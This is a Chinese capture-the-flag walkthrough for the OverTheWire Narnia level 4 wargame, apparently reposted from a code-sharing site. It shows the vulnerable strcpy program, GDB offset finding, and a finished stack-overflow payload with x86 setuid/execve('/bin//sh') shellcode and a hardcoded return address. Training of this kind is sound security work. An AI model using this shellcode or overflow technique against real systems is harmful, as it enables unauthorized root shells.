首页 > 代码库 > Wargame narnia level 4 (中文攻略)
Wargame narnia level 4 (中文攻略)
ssh narnia4@narnia.labs.overthewire.org
然后输入密码:XXOO
cat narnia4.c
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> extern char **environ; int main(int argc,char **argv){ int i; char buffer[256]; for(i = 0; environ[i] != NULL; i++) memset(environ[i], ‘\0‘, strlen(environ[i])); if(argc>1) strcpy(buffer,argv[1]); return 0; }
又是一个经典的溢出。
下面简单说了。
GDB 调试,在strcpy() 前后下断,找到字符串起始位置。
我运行的是输入了256个a (ASCII码为0x61)
这里可以得到字符串起始位置0xffffd52c ,
在程序结束前下断点,(RET)
查看下此时的ESP内存区域。
0xffffd63c,
63c-52c=110( 十进制是272 ) , 即272个字节即可覆盖返回地址。
然后就是SHELLCODE 的组织等等,这里就不多说了,和NARNIA2 很相似。
最后的构造
`python -c ‘print "\x90"*232 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*12 + "\x70\xd5\xff\xff" ‘`
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。